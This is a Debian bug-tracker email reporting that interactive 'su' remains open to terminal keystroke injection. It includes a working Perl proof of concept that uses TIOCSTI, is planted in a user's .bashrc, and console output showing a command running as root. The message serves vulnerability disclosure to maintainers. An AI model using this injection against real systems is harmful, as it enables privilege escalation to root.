Hello,
I'm bumping this bug to point out that the problem is not 100% fixed.
Even though "su -c" is now safe, interactive "su" or "su -" are still at
risk and this should probably be reflected here on the BTS.
Unfortunately I don't see any way to fix this without removing the
controlling terminal of su'ed interactive shells like "su -c" does, but
this would totally cripple su and render su'ed interactive shells
unusable ("su" would then become equivalent to "su -c $SHELL" and we'd
hit bug #659878 which is a PITA).
I'll leave it to you maintainers whether to actually reopen this bug or not.
Scenario:
root uses su to get an interactive shell into a compromised user
account, which uses the aforementioned exploit, just slightly modified
to send an exit before the actual payload.
On the compromised account side:
---- CONSOLE OUTPUT ----
test-user$ cat ~/exploit.pl
#!/usr/bin/perl
require "sys/ioctl.ph";
open my $tty_fh, '<', '/dev/tty' or die $!;
foreach my $c (split //, "exit\n".'echo Payload as $(whoami)'.$/) {
ioctl($tty_fh, &TIOCSTI, $c);
}
test-user$ cat ~/.bashrc
<snip>
perl $HOME/exploit.pl
---- END CONSOLE OUTPUT ----
Now root actually uses su. Note that the only user keystrokes are the
initial "su test-user", the rest is entirely automatic and part of the
exploit (I included the user/root shell prompts as displayed on my
terminal).
---- CONSOLE OUTPUT ----
root# su test-user
exit
echo Payload as $(whoami)
test-user$ exit
root# echo Payload as $(whoami)
Payload as root
---- END CONSOLE OUTPUT ----
--
Ismaël RUAU
--
To UNSUBSCRIBE, email to debian-bugs-rc-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
